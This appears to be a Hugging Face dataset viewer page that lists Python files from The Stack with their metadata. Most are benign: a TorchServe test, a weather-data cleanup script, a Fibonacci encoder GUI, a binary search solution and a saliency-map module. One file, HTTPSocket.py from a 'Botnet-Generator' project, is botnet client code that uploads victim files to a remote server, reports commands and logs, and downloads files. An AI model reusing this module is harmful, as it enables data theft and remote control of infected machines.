xszheng2020/the_stack_dedup_python · Datasets at Hugging Face

bb0e76409aeef486ffdd393f481e6ae875e7c355

7,338

py

Python

test/pytest/test_model_archiver.py

vvekic/serve

f02a56bf1f0de1705fd9f399c1115d36e343c90c

[ "Apache-2.0" ]

2

2022-03-26T05:17:45.000Z

2022-03-26T05:44:53.000Z

test/pytest/test_model_archiver.py

vvekic/serve

f02a56bf1f0de1705fd9f399c1115d36e343c90c

[ "Apache-2.0" ]

null

test/pytest/test_model_archiver.py

vvekic/serve

f02a56bf1f0de1705fd9f399c1115d36e343c90c

[ "Apache-2.0" ]

1

2020-09-14T08:31:34.000Z

import subprocess import time import os import glob import requests import json import test_utils MODEL_SFILE_NAME = 'resnet18-f37072fd.pth' def setup_module(module): test_utils.torchserve_cleanup() response = requests.get('https://download.pytorch.org/models/' + MODEL_SFILE_NAME, allow_redirects=True) open(test_utils.MODEL_STORE + "/" + MODEL_SFILE_NAME, 'wb').write(response.content) def teardown_module(module): test_utils.torchserve_cleanup() def model_archiver_command_builder(model_name=None, version=None, model_file=None, serialized_file=None, handler=None, extra_files=None, force=False): cmd = "torch-model-archiver" if model_name: cmd += " --model-name {0}".format(model_name) if version: cmd += " --version {0}".format(version) if model_file: cmd += " --model-file {0}".format(model_file) if serialized_file: cmd += " --serialized-file {0}".format(serialized_file) if handler: cmd += " --handler {0}".format(handler) if extra_files: cmd += " --extra-files {0}".format(extra_files) if force: cmd += " --force" cmd += " --export-path {0}".format(test_utils.MODEL_STORE) return cmd def create_resnet_archive(model_name="resnset-18", version="1.0", force=False): cmd = model_archiver_command_builder( model_name, version, "{}/examples/image_classifier/resnet_18/model.py".format(test_utils.CODEBUILD_WD), "{}resnet18-f37072fd.pth".format(test_utils.MODEL_STORE), "image_classifier", "{}/examples/image_classifier/index_to_name.json".format(test_utils.CODEBUILD_WD), force ) print(cmd) cmd = cmd.split(" ") return subprocess.run(cmd).returncode def clean_mar_file(mar_name): path = "{}{}".format(test_utils.MODEL_STORE, mar_name) if os.path.exists(path): os.remove(path) def test_multiple_model_versions_registration(): # Download resnet-18 model create_resnet_archive("resnet-18", "1.0") create_resnet_archive("resnet-18_v2", "2.0") test_utils.start_torchserve(no_config_snapshots=True) response = requests.get('http://localhost:8081/models/resnet18/all') print(response.content) test_utils.register_model("resnet18", "resnet-18.mar") test_utils.register_model("resnet18", "resnet-18_v2.mar") response = requests.get('http://localhost:8081/models/resnet18/all') time.sleep(5) # Verify that we can use the list models api to get all versions of resnet-18 assert len(json.loads(response.content)) == 2 def test_duplicate_model_registration_using_local_url_followed_by_http_url(): # Registration through local mar url is already complete in previous test case. # Now try to register same model using http url in this next step response = test_utils.register_model("resnet18", "https://torchserve.pytorch.org/mar_files/resnet-18.mar") time.sleep(15) if json.loads(response.content)['code'] == 500 and \ json.loads(response.content)['type'] == "InternalServerException": assert True, "Internal Server Exception, " \ "Model file already exists!! Duplicate model registration request" test_utils.unregister_model("resnet18") time.sleep(10) else: assert False, "Something is not right!! Successfully re-registered existing model " def test_duplicate_model_registration_using_http_url_followed_by_local_url(): # Register using http url clean_mar_file("resnet-18.mar") response = test_utils.register_model("resnet18", "https://torchserve.pytorch.org/mar_files/resnet-18.mar") create_resnet_archive() response = test_utils.register_model("resnet18", "resnet-18.mar") if json.loads(response.content)['code'] == 409 and \ json.loads(response.content)['type'] == "ConflictStatusException": assert True, "Conflict Status Exception, " \ "Duplicate model registration request" response = test_utils.unregister_model("resnet18") time.sleep(10) else: assert False, "Something is not right!! Successfully re-registered existing model " def test_model_archiver_to_regenerate_model_mar_without_force(): clean_mar_file("resnet-18.mar") response = create_resnet_archive("resnet-18", "1.0") response = create_resnet_archive("resnet-18", "1.0") try: assert (0 != response), "Mar file couldn't be created.use -f option" finally: for f in glob.glob("resnet*.mar"): os.remove(f) def test_model_archiver_to_regenerate_model_mar_with_force(): clean_mar_file("resnet-18.mar") response = create_resnet_archive("resnet-18", "1.0") response = create_resnet_archive("resnet-18", "1.0", force=True) try: assert (0 == response), "Successfully created Mar file by using -f option" finally: for f in glob.glob("resnet*.mar"): os.remove(f) def test_model_archiver_without_handler_flag(): cmd = model_archiver_command_builder( "resnet-18", "1.0", "{}/examples/image_classifier/resnet_18/model.py".format(test_utils.CODEBUILD_WD), "{}/resnet18-f37072fd.pth".format(test_utils.MODEL_STORE), None, "{}/examples/image_classifier/index_to_name.json".format(test_utils.CODEBUILD_WD) ) cmd = cmd.split(" ") try: assert (0 != subprocess.run(cmd).returncode), "Mar file couldn't be created." \ "No handler specified" finally: for f in glob.glob("resnet*.mar"): os.remove(f) def test_model_archiver_without_model_name_flag(): cmd = model_archiver_command_builder( None, "1.0", "{}/examples/image_classifier/resnet_18/model.py".format(test_utils.CODEBUILD_WD), "{}/resnet18-f37072fd.pth".format(test_utils.MODEL_STORE), "image_classifier", "{}/examples/image_classifier/index_to_name.json".format(test_utils.CODEBUILD_WD) ) cmd = cmd.split(" ") assert (0 != subprocess.run(cmd).returncode), "Mar file couldn't be created." \ "No model_name specified" def test_model_archiver_without_model_file_flag(): cmd = model_archiver_command_builder( "resnet-18", "1.0", None, "{}/resnet18-f37072fd.pth".format(test_utils.MODEL_STORE), "image_classifier", "{}/examples/image_classifier/index_to_name.json".format(test_utils.CODEBUILD_WD), True ) cmd = cmd.split(" ") try: assert (0 == subprocess.run(cmd).returncode) finally: for f in glob.glob("resnet*.mar"): os.remove(f) def test_model_archiver_without_serialized_flag(): cmd = model_archiver_command_builder( "resnet-18", "1.0", "{}/examples/image_classifier/resnet_18/model.py".format(test_utils.CODEBUILD_WD), None, "image_classifier", "{}/examples/image_classifier/index_to_name.json".format(test_utils.CODEBUILD_WD) ) cmd = cmd.split(" ") assert (0 != subprocess.run(cmd).returncode), "Mar file couldn't be created." \ "No serialized flag specified"

34.613208

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7,338

5.022727

0.175325

0.052359

0.048481

0.046542

0.632622

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0.520362

0.50097

0.471881

0.449041

0

0.027725

0.213546

7,338

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0.776469

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0

0.468354

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1

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false

0

0.044304

0

0.14557

0.012658

0

null

0

null

0

1

0

bb0fd7461ac334e4ca39e6b98dfce5e7a36f1733

2,176

py

Python

scripts/isuag/zero_daily_precip.py

trentford/iem

7264d24f2d79a3cd69251a09758e6531233a732f

[ "MIT" ]

1

2019-10-07T17:01:24.000Z

scripts/isuag/zero_daily_precip.py

trentford/iem

7264d24f2d79a3cd69251a09758e6531233a732f

[ "MIT" ]

null

scripts/isuag/zero_daily_precip.py

trentford/iem

7264d24f2d79a3cd69251a09758e6531233a732f

[ "MIT" ]

null

"""Sometimes we need to completely zero out precip for a day Likely due to water being dumped into the tipping bucket to clean it :/ """ from __future__ import print_function import sys import datetime import pytz from pyiem.util import get_dbconn def zero_hourly(station, sts, ets): """Zero out the hourly data""" pgconn = get_dbconn('isuag') cursor = pgconn.cursor() for table in ['sm_hourly', 'sm_15minute']: cursor.execute(""" UPDATE """ + table + """ SET rain_mm_tot_qc = 0, rain_mm_tot_f = 'Z', rain_mm_tot = 0 WHERE station = %s and valid > %s and valid <= %s """, (station, sts, ets)) print("%s updated %s rows" % (table, cursor.rowcount)) cursor.close() pgconn.commit() def zero_daily(station, date): """Zero out the daily data""" pgconn = get_dbconn('isuag') cursor = pgconn.cursor() cursor.execute(""" UPDATE sm_daily SET rain_mm_tot_qc = 0, rain_mm_tot_f = 'Z', rain_mm_tot = 0 WHERE station = %s and valid = %s """, (station, date)) print("sm_daily updated %s rows" % (cursor.rowcount, )) cursor.close() pgconn.commit() def zero_iem(station, date): """Zero out the hourly data""" pgconn = get_dbconn('iem') cursor = pgconn.cursor() cursor.execute(""" UPDATE summary s SET pday = 0 FROM stations t WHERE s.iemid = t.iemid and t.id = %s and t.network = 'ISUSM' and day = %s """, (station, date)) print("summary updated %s rows" % (cursor.rowcount, )) cursor.close() pgconn.commit() def main(argv): """Go Main""" station = argv[1] date = datetime.date(int(argv[2]), int(argv[3]), int(argv[4])) # Our weather stations are in CST, so the 'daily' precip is for a 6z to 6z # period and not calendar day, the hourly values are in the rears sts = datetime.datetime(date.year, date.month, date.day, 6) sts = sts.replace(tzinfo=pytz.utc) ets = sts + datetime.timedelta(hours=24) zero_hourly(station, sts, ets) zero_daily(station, date) zero_iem(station, date) if __name__ == '__main__': main(sys.argv)

29.405405

78

0.619485

312

2,176

4.182692

0.346154

0.027586

0.041379

0.043678

0.451341

0.390038

0.308812

0.168582

0

0.009792

0.249081

2,176

73

79

29.808219

0.788862

0.160846

0

0.346154

0

0.019231

0.320356

0

1

0.076923

false

0

0.096154

0

0.173077

0.076923

0

null

0

null

0

1

0

bb11c19b934ae7836905268d9b3aaa294ea05171

602

py

Python

tests/test_upload_client.py

hepoo6/gdc-client

4453c6412aca55bcc458d710de148a4cabf95cd6

[ "Apache-2.0" ]

null

tests/test_upload_client.py

hepoo6/gdc-client

4453c6412aca55bcc458d710de148a4cabf95cd6

[ "Apache-2.0" ]

null

tests/test_upload_client.py

hepoo6/gdc-client

4453c6412aca55bcc458d710de148a4cabf95cd6

[ "Apache-2.0" ]

null

from unittest import TestCase from gdc_client.upload.client import create_resume_path class UploadClientTest(TestCase): def setup(self): pass def test_create_resume_path(self): # don't need to test if there's no file given # that is checked in multipart_upload() tests = ["/path/to/file.yml", "path/to/file.yml", "file.yml"] results = [ "/path/to/resume_file.yml", "path/to/resume_file.yml", "resume_file.yml", ] for i, t in enumerate(tests): assert create_resume_path(t) == results[i]

28.666667

69

0.611296

81

602

4.395062

0.481481

0.117978

0.134831

0.073034

0.106742

0

0.27907

602

20

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30.1

0.820277

0.134552

0

0.198842

0.090734

0

0.071429

1

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false

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0

0.357143

0

null

0

null

0

1

0

1

bb123dfd4bea8d7fa36ad8f1991ad5d0085d8387

15,843

py

Python

Fibonnacci GUI VERSION.py

Nuklear-s-Team/fibonacciThing

2b32f10a87faf87b6702e7caa20c69d8df6873e3

[ "CC0-1.0" ]

null

Fibonnacci GUI VERSION.py

Nuklear-s-Team/fibonacciThing

2b32f10a87faf87b6702e7caa20c69d8df6873e3

[ "CC0-1.0" ]

null

Fibonnacci GUI VERSION.py

Nuklear-s-Team/fibonacciThing

2b32f10a87faf87b6702e7caa20c69d8df6873e3

[ "CC0-1.0" ]

1

2020-04-08T18:32:54.000Z

# Copyright 2020 Khang Nguyen and Tim Merrill # Improved by Luzgog # Made with the same translate function as the original. import tkinter as tkinter from tkinter import messagebox from tkinter import scrolledtext from Fibonacci_Encoder import encode, decode, encodeReversed, decodeReversed, randomGen, encodeRandom, generatefromkey, decodeRandom root = tkinter.Tk(className="Fibonacci Encoder") root.resizable(0, 0) help = tkinter.Toplevel(width=90, height=90) help.withdraw() translations = tkinter.Toplevel(width=90, height=90) translations.withdraw() lol = tkinter.StringVar() mode = tkinter.StringVar() lastTranslation = tkinter.StringVar() remTrue = tkinter.IntVar() key = tkinter.StringVar() lastTranslation.set("Last Tranlsation: None") currentTranslation = "" #root.iconphoto(False, tkinter.PhotoImage(file="icon.png")) decodeNames = ["de", "decode", "De", "Decode", "d", "D"] encodeNames = ["en", "encode", "En", "Encode", "e", "E"] def showHelp(): help.deiconify() def closeHelp(): help.withdraw() def error(): messagebox.showerror("Error", "Invalid Input") def keyMissingError(): messagebox.showerror("Error", "No Key") def translate(): global currentTranslation task = lol.get() message = T.get() version = mode.get() getKey = RandomEncode.get() global key T.delete(0, tkinter.END) if task in encodeNames: if version == "Regular": try: totranslate= encode(message) except BaseException: error() elif version == "Reversed": try: totranslate = encodeReversed(message) except BaseException: error() elif version == "Random": try: if getKey == "": randomDict, key2 = randomGen() key.set(key2) key2 = '' totranslate = encodeRandom(message, randomDict) getKey = "" randomDict = {} else: totranslate = encodeRandom(message, generatefromkey(getKey)) getKey = "" except BaseException: error() elif task in decodeNames: if version == "Regular": try: totranslate = decode(message) except BaseException: error() elif version == "Reversed": try: totranslate = decodeReversed(message) except BaseException: error() elif version == "Random": if getKey == "": keyMissingError() else: totranslate = decodeRandom(message, generatefromkey(getKey)) T.insert(tkinter.END, totranslate) link.config(state=tkinter.NORMAL) keyDisplay.config(state=tkinter.NORMAL) link.delete(1.0, tkinter.END) keyDisplay.delete(1.0, tkinter.END) mode2 = mode.get() link.insert(1.0, "Last Translation: (" + mode2 + " Mode) " + message + " <-> " + totranslate) currentTranslation = "(" + mode2 + " Mode) " + message + " <-> " + totranslate keyDisplay.insert(1.0, str(key.get())) key.set("") link.config(state=tkinter.DISABLED) keyDisplay.config(state=tkinter.DISABLED) def updateSaves(): saves.config(state=tkinter.NORMAL) saves.delete(1.0, tkinter.END) with open("savedTranslations.txt", "r") as file: textIn = file.read() saves.insert(1.0, textIn) saves.config(state=tkinter.DISABLED) # insert text def saveTranslation(): global currentTranslation with open("savedTranslations.txt", 'a') as file: file.write("\n\n") file.write(currentTranslation) updateSaves() # save file def clearSaves(): with open("savedTranslations.txt", "w") as file: file.write("") updateSaves() def openTrans(): translations.deiconify() def closeTrans(): translations.withdraw() def copyKey(): root.clipboard_clear() root.clipboard_append(keyDisplay.get(1.0, tkinter.END)) def remember(): if remTrue.get() == 0: with open("savedKey.txt", "w") as file: file.write("") else: with open("savedKey.txt", "w") as file: file.write(RandomEncode.get()) def initialize(): saveTranslation() with open("savedKey.txt", "r") as file: key3 = file.read() if key3 == "": pass else: RandomEncode.insert(1, key3) Encode = tkinter.Radiobutton(root, text='Encode', variable=lol, value="Encode", indicatoron=0, width=42, selectcolor="light green").grid(row=1, column=0, sticky=tkinter.W) Decode = tkinter.Radiobutton(root, text='Decode', variable=lol, value="Decode", indicatoron=0, width=42, selectcolor="light green").grid(row=1, column=1, sticky=tkinter.E) Regular = tkinter.Radiobutton(root, text='Regular', variable=mode, value="Regular", indicatoron=0, width=42, selectcolor="cyan").grid(row=4, column=0, sticky=tkinter.W) Reversed = tkinter.Radiobutton(root, text='Reversed', variable=mode, value="Reversed", indicatoron=0, width=42, selectcolor="cyan").grid(row=4, column=1, sticky=tkinter.E) Random = tkinter.Radiobutton(root, text="Use Random Dictionary", variable=mode, value="Random", indicatoron=0, width=42, selectcolor="gold").grid(row=5, column=0, sticky=tkinter.N) RandomEncode = tkinter.Entry(root, width=48) RandomEncode.grid(row=5, column=1) J = tkinter.Scale(root, state=tkinter.DISABLED, length=600, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200, label="--------------------------------------------------------Mode--------------------------------------------------------") J.set(100) J.grid(row=0, sticky=tkinter.N, columnspan=2) R = tkinter.Scale(root, state=tkinter.DISABLED, length=500, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200, label="--------------------------------------------Key Sets--------------------------------------------") R.set(100) R.grid(row=3, sticky=tkinter.N, columnspan=2) T = tkinter.Entry(root, width=100) L = tkinter.Scale(root, state=tkinter.DISABLED, length=500, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200, label="------------------------------------------Input Below------------------------------------------") L.set(100) L.grid(row=6, sticky=tkinter.N, columnspan=2) T.grid(row=7, column=0, sticky=tkinter.W, columnspan=2) X = tkinter.Scale(root, state=tkinter.DISABLED, length=500, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200) X.set(100) X.grid(row=8, sticky=tkinter.N, columnspan=2) Translate = tkinter.Button(root, text="Translate", command=translate, width=42, activebackground="light green").grid(row=9, column=0, sticky=tkinter.W) Quit = tkinter.Button(root, text="Quit", command=root.quit, width=85, activebackground="red").grid(row=10, columnspan=2, sticky=tkinter.E) T.insert(tkinter.END, "") Help = tkinter.Button(root, text="Help", command=showHelp, width=42, activebackground="blue").grid(row=9, column=1) X = tkinter.Scale(root, state=tkinter.DISABLED, length=600, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200) X.set(100) X.grid(row=11, sticky=tkinter.N, columnspan=2) link = scrolledtext.ScrolledText(root, width=65, height=5, wrap="word", font="consolas", state=tkinter.DISABLED) link.grid(row=12, sticky=tkinter.W, columnspan=2) uti = tkinter.Scale(root, state=tkinter.DISABLED, length=600, troughcolor="black", width=1, orient=tkinter.HORIZONTAL, showvalue=0, sliderlength=200, label="-------------------------------------------------------Utilities-------------------------------------------------------") uti.set(100) uti.grid(row=13, sticky=tkinter.N, columnspan=2) save = tkinter.Button(root, text="Save this translation", command=saveTranslation, width=42, activebackground="light green").grid(row=14, column=0, sticky=tkinter.N) copy = tkinter.Button(root, text="Copy this key", command=copyKey, width=42, activebackground="light green").grid(row=14, column=1, sticky=tkinter.N) openTranslations = tkinter.Button(root, text="Open Saved Translations", command=openTrans, width=42, activebackgroun="light green").grid(row=15, column=0, sticky=tkinter.N) rememberKey = tkinter.Checkbutton(root, text="Remember my key", var=remTrue, command=remember).grid(row=15, column=1, sticky=tkinter.N) keyDisplay = scrolledtext.ScrolledText(root, height=0.5, width=73, wrap="word", state=tkinter.DISABLED) keyDisplay.grid(row=16, sticky=tkinter.W, columnspan=2) info = tkinter.Label(root, text="Created by Khang Nguyen and Luzgog. Github link: https://github.com/PG-Development/Fibonacci-Encoder") info.grid(row=17, sticky=tkinter.E, columnspan=2) # help window below title = tkinter.Label(help, text="Help Menu").grid(row=0, sticky=tkinter.N) helpText = scrolledtext.ScrolledText(help, width=65, height=20, wrap="word") helpText.grid(row=1, sticky=tkinter.N) helpText.insert(1.0, "Thanks for downloading this encoder! My team and I have worked hard on it. \n \n" "Important: When you want to close this, do NOT press the x at the top right. Press the exit help menu button at the bottom.\n \n" "When you download this repository, you should have gotten 2 .py files: the Fibonacci_Encoder, and the Fibonacci GUI Version file. " "Make sure they are in the same folder. The GUI Version is the much more convenient version of this program, but it uses the same functions. " "When you open up the GUI file, you should see a small window pop up on your screen. This is the main application window, built with tkinter. " "You select your mode at the top, choosing from either Encode, Decode, or Decode from Random. To encode from a random, select Encode from random in the keysets. " "Below those, you should see keysets. You have regular, reversed, and encode from random. Next to both of the random choices you see inputs. " "Below the modes and keysets you see an input, to place your text inside, and this is where the message will come out. \n \n" "Regular Mode\n" "Regular mode is the base mode of this encoder. It uses a set dictionary of keys and items, to encode your message. " "To use this mode, simply choose the \"Encode\" mode and the \"Regular\" Keyset. Once you press translate, your message will be replaced " "by the encoded version. Below your output, there is a last translation box which shows you the original. " "To decode, just switch your mode to decode, and input the code you received from your friend into the box. " "It should change before your very eyes into comprehensible text.\n\n" "Reversed Mode\n" "Reversed mode is a separate, different keyset then the regular mode. It takes the code for a letter, and switches it around to the opposite letter. " "For example, the code for a is now the code for z, and the code for b is now the code for y. This means the code for z is now the code for a, and so on. " "To use this keyset, choose which mode you want, and then instead of selecting the \"Regular\" keyset, choose the \"Reversed\" keyset.\n\n" "Random Mode\n" "Random Mode scrambles the codes for the letters to random locations. The total number of possible dictionaries is 403,291,461,126,605,635,584,000,000, aka 403 septillion. " "That's a lot of possible combinations! And every time you use it, it generates a random choice. Now, that's cool, but say you want to retrieve an already generated " "dictionary. That's easy! You see, whenever you generate a new dictionary, a key will appear in the lower text box. Just press the \"Copy this key\" buttton " "to copy the key.\n\n" "To encode using this mode, you first select the \"Encode\" Button. Then select the \"Use Random Dictionary\" choice. If you already have a key, put it in the " "entry box next to the button. If you do not have a key, simply leave the box blank. Then press translate. You should get a result and a key. If you want to now encode " "more messages using the same key, just copy the key and put it in the box. When you send messages to someone else, send them the key privately, so then you can" " send them the message in public and other people will get gibberish.\n\n" "To decode using this mode, you must have a key, or else you will get an error. Put the key in the box next to \"Use Random Dictionary\". Then select \"Decode\" " "and \"Use Random Dictionary\". Finally, put in the message in the lower entry box. When you press Translate, you should get a good message.\n\n" "Utilities\n" "There are 3 utilities buttons: the \"Save this translation\" button, the \"Copy this key\" button, and the \"Open Saved Translations\" button. " "These are here to help you use the app more efficiently.\n\n" "The \"Save This Translations\" button takes the translation you just did and puts it into another text window that you can open. This text resets everytime you " "close the app, so keep the app open go save your translations. This feature will be improved in the future to save the translation to a text file. To open this text " "window, just press the \"Open Saved Translations\" button. The \"Copy This Key\" button just copies the key if you have one.\n\n" "A new feature is the \"Remember my key\" feature, which can save your key for another time. Whenever you want to save your key, just check it. To update your " "key, you must uncheck it and then recheck it to make changes to the .txt file. If you want to use this feature, you must download the savedKey.txt file. To " "reset your key, you can just uncheck it again.") helpText.tag_add("important", "3.0", "3.9") helpText.tag_add("regularTag", "7.0", "7.12", "10.0", "10.13", "13.0", "13.12", "20.0", "20.9") helpText.tag_config("important", foreground="red", font=("Consolas", 13, "bold", "italic")) helpText.tag_config("regularTag", foreground="blue", font=("Consolas", 12, "bold", "italic")) helpText.config(state=tkinter.DISABLED) closeHelpButton = tkinter.Button(help, text="Exit Help Menu", command=closeHelp, activebackground="red").grid(row=2, sticky=tkinter.N) # saved translations below # saved translations below titleTrans = tkinter.Label(translations, text="Saved Translations").grid(row=0, sticky=tkinter.N) saves = scrolledtext.ScrolledText(translations, width=65, height=20, wrap="word") saves.grid(row=1, sticky=tkinter.N) saves.config(state=tkinter.DISABLED) closeTransButton = tkinter.Button(translations, text="Exit Saved Translations", command=closeTrans, activebackground="red", width=38).grid(row=2, sticky=tkinter.W) clearSavesButton = tkinter.Button(translations, text="Clear Saves", command=clearSaves, activebackground="red", width=38).grid(row=2, sticky=tkinter.E) initialize() tkinter.mainloop()

57.194946

279

0.640977

2,059

15,843

4.92812

0.211753

0.020696

0.022075

0.013797

0.249433

0.183601

0.14487

0.131467

0.13127

0.093032

0

0.023367

0.222054

15,843

277

280

57.194946

0.799919

0.016727

0

0.201794

0

0.107623

0.359119

0.034199

0

1

0.058296

false

0.004484

0.03139

0

0.089686

0

null

0

null

0

1

0

bb1296c730e04aac4e482709b1a4e2821eed085b

177

py

Python

My Tools/Number Reverse/numberReverse.py

AbhyasKanaujia/Project-Euler

9359474e87ac86c89872692fb162119ca0841251

[ "MIT" ]

2

2020-11-18T15:10:03.000Z

2020-11-22T08:28:15.000Z

My Tools/Number Reverse/numberReverse.py

AbhyasKanaujia/Project-Euler

9359474e87ac86c89872692fb162119ca0841251

[ "MIT" ]

null

My Tools/Number Reverse/numberReverse.py

AbhyasKanaujia/Project-Euler

9359474e87ac86c89872692fb162119ca0841251

[ "MIT" ]

null

num = int(input("Enter a number: ")) temp = num reverse = 0 while(temp): reverse = (reverse * 10) + (temp % 10) temp = int(temp / 10) print("Reversed: " + str(reverse))

22.125

42

0.59322

25

177

4.2

0.56

0.114286

0

0.050725

0.220339

177

8

43

22.125

0.710145

0

0.146067

0

1

0

false

0

0.142857

1

0

null

0

1

0

null

0

2

bb13062c6af81b0c777ea745fa403b4616b78912

1,267

py

Python

Botnet-Generator/HTTPSocket.py

m4ta1l/KratosKnife

ff80631c2d1d865806e2da1e810239aa401891e8

[ "BSD-3-Clause" ]

155

2020-09-04T12:26:10.000Z

2022-03-09T02:20:27.000Z

Botnet-Generator/HTTPSocket.py

m4ta1l/KratosKnife

ff80631c2d1d865806e2da1e810239aa401891e8

[ "BSD-3-Clause" ]

14

2020-12-27T06:25:20.000Z

2022-03-01T04:27:01.000Z

Botnet-Generator/HTTPSocket.py

m4ta1l/KratosKnife

ff80631c2d1d865806e2da1e810239aa401891e8

[ "BSD-3-Clause" ]

57

2020-10-11T15:21:35.000Z

2022-03-23T19:46:30.000Z

import requests, base64 class HTTPSocket: def __init__(self, host, victim_id): self.host = host self.victim_id = victim_id def _GET(self, filename, request): requests.get(url=self.host + filename, params=request) def _POST(self, filename, request): requests.post(url=self.host + filename, data=request) def Upload(self, filepath): url = self.host + "upload.php" files = {'file': open(filepath, 'rb')} victim_id = { 'id' : base64.b64encode(str(self.victim_id).encode('UTF-8'))} requests.post(url, files=files, params=victim_id) def Connect(self, clientdata): payload = { 'data': base64.b64encode(clientdata.encode('UTF-8')) } self._GET("connection.php", payload) def Send(self,command): payload = {'command': base64.b64encode(command.encode()), 'vicID': base64.b64encode(str(self.victim_id).encode())} self._GET("receive.php", payload) def Log(self, type, message): self.Send("NewLog" + "|BN|" + type + "|BN|" + message) def Download(self, url, destinationPath): file = requests.get(url) open(destinationPath, 'wb').write(file.content)

35.194444

123

0.595107

146

1,267

5.061644

0.328767

0.075778

0.048714

0.073072

0.097429

0

0.021299

0.258879

1,267

36

124

35.194444

0.765708

0

0.068938

0

1

0.32

false

0

0.04

0

0.4

0

null

0

null

0

1

0

1

bb1432cc0316cac36dc4f14023445d368e2c8a51

790

py

Python

Binary Search/081. Search in Rotated Sorted Array II.py

beckswu/Leetcode

480e8dc276b1f65961166d66efa5497d7ff0bdfd

[ "MIT" ]

138

2020-02-08T05:25:26.000Z

2021-11-04T11:59:28.000Z

Binary Search/081. Search in Rotated Sorted Array II.py

beckswu/Leetcode

480e8dc276b1f65961166d66efa5497d7ff0bdfd

[ "MIT" ]

null

Binary Search/081. Search in Rotated Sorted Array II.py

beckswu/Leetcode

480e8dc276b1f65961166d66efa5497d7ff0bdfd

[ "MIT" ]

24

2021-01-02T07:18:43.000Z

2022-03-20T08:17:54.000Z

""" 81. Search in Rotated Sorted Array II """ class Solution: def search(self, nums, target): """ :type nums: List[int] :type target: int :rtype: bool """ l, r, n = 0, len(nums)-1, len(nums) while l<=r: while r>l and nums[l+1]==nums[l]: l+=1 while r>l and nums[r-1] == nums[r]: r-=1 mid = (l+r)>>1 if nums[mid] == target: return True if target > nums[mid]: if nums[l]>nums[mid] and nums[l]<=target: r = mid-1 else: l = mid+1 else: if nums[mid]>nums[r] and nums[r]>=target: l = mid+1 else: r = mid-1 return False

29.259259

68

0.405063

106

790

3.018868

0.301887

0.0875

0.075

0.0625

0.0875

0

0.030374

0.458228

790

26

69

30.384615

0.71729

0.113924

0

1

0.058824

false

0

0.176471

0

null

0

null

0

1

0

bb153760d668539261a0d33707c85c1e1d93f62e

191

py

Python

PEPit/tools/__init__.py

bgoujaud/PEPit

7352607069f5e90fb1919fc689ec5e9d745c3bac

[ "MIT" ]

44

2021-11-18T16:41:20.000Z

2022-02-14T09:59:13.000Z

PEPit/tools/__init__.py

bgoujaud/PEPit

7352607069f5e90fb1919fc689ec5e9d745c3bac

[ "MIT" ]

2

2021-10-05T09:20:25.000Z

2022-02-19T13:58:01.000Z

PEPit/tools/__init__.py

PerformanceEstimation/PEPit

7005bc9a9da11dea448966437365c897734ec341

[ "MIT" ]

1

2022-02-08T12:03:29.000Z

from .dict_operations import merge_dict, prune_dict, multiply_dicts __all__ = ['dict_operations', 'merge_dict', 'prune_dict', 'multiply_dicts', ]

23.875

67

0.602094

19

191

5.421053

0.473684

0.271845

0.349515

0.601942

0

0.303665

191

7

68

27.285714

0.774436

0

0.256545

0

1

0

false

0

0.166667

0

0.166667

0

1

0

null

1

0

1

0

null

0

5

bb16c061583288ca3f3f83e5792419424b095ace

2,777

py

Python

methods/ham.py

vickyyu90/maxnet

38c49c39dbe77b2984d8cdb2f4087310b2220593

[ "Apache-2.0" ]

null

methods/ham.py

vickyyu90/maxnet

38c49c39dbe77b2984d8cdb2f4087310b2220593

[ "Apache-2.0" ]

null

methods/ham.py

vickyyu90/maxnet

38c49c39dbe77b2984d8cdb2f4087310b2220593

[ "Apache-2.0" ]

null

import numpy as np import torch from torch.autograd import Variable import torch.nn.functional as F class FeatureExtractor(): def __init__(self, model, intermediate_layers): self.model = model self.intermediate_layers = intermediate_layers[::-1] self.weights = [] self.num = len(self.intermediate_layers) self.activations = [] def save_weight(self, grad): self.weights.append(grad) def __call__(self, x, intermediate_layers, class_idx): hams = [] logit, conv3, conv4, conv5 = self.model(x) logit = F.softmax(logit) score = logit[:, class_idx].squeeze() if torch.cuda.is_available(): score = score.cuda() self.model.zero_grad() score.backward(retain_graph=True) saliency_map = torch.mul(conv3, self.model.grads['conv3']).mean(dim=1, keepdim=True) norm_saliency_map = (saliency_map - saliency_map.min()) / (saliency_map.max() - saliency_map.min()) hams.append(F.relu(norm_saliency_map, inplace=True)) saliency_map = torch.mul(conv4, self.model.grads['conv4']).mean(dim=1, keepdim=True) norm_saliency_map = (saliency_map - saliency_map.min()) / (saliency_map.max() - saliency_map.min()) hams.append(F.relu(norm_saliency_map, inplace=True)) saliency_map = torch.mul(conv5, self.model.grads['conv5']).mean(dim=1, keepdim=True) norm_saliency_map = (saliency_map - saliency_map.min()) / (saliency_map.max() - saliency_map.min()) hams.append(F.relu(norm_saliency_map, inplace=True)) return hams class HAM(): def __init__(self, model, intermediate_layers): self.model = model self.intermediate_layers = intermediate_layers self.extractor = FeatureExtractor(self.model, intermediate_layers) def __call__(self, input, device, intermediate_layers, class_idx): hams = self.extractor(input, intermediate_layers, class_idx) for i in range(len(intermediate_layers)): if i == 0: aggregated_ham = hams[i] else: tmp = F.interpolate(hams[i], hams[0].shape[-3:], mode='trilinear', align_corners=False) aggregated_ham = torch.mul(tmp, torch.ge(tmp, aggregated_ham)) + torch.mul(aggregated_ham, torch.ge(aggregated_ham, tmp)) B, L, C, H, W = aggregated_ham.shape aggregated_ham = aggregated_ham.view(B, -1) aggregated_ham -= aggregated_ham.min(dim=1, keepdim=True)[0] aggregated_ham /= aggregated_ham.max(dim=1, keepdim=True)[0] aggregated_ham = aggregated_ham.view(B, L, C, H, W) aggregated_ham = F.interpolate(aggregated_ham, input.shape[-3:], mode='trilinear', align_corners=False) return aggregated_ham

43.390625

137

0.658985

358

2,777

4.882682

0.24581

0.132151

0.051487

0.075515

0.519451

0.471968

0.451945

0.39016

0.342105

0

0.010096

0.21534

2,777

64

138

43.390625

0.792106

0

0.192308

0

0.011879

0

1

0.096154

false

0

0.076923

0

0.25

0

null

0

null

0

1

0

bb177b31aa9101d899611eb71a8b7cb4ca24eeba

1,173

py

Python

wicket/commands/__init__.py

GeekMasher/wicket-discord-docker-bot

5f7bfa466718018fba3babe1357115ac19a8ec18

[ "MIT" ]

null

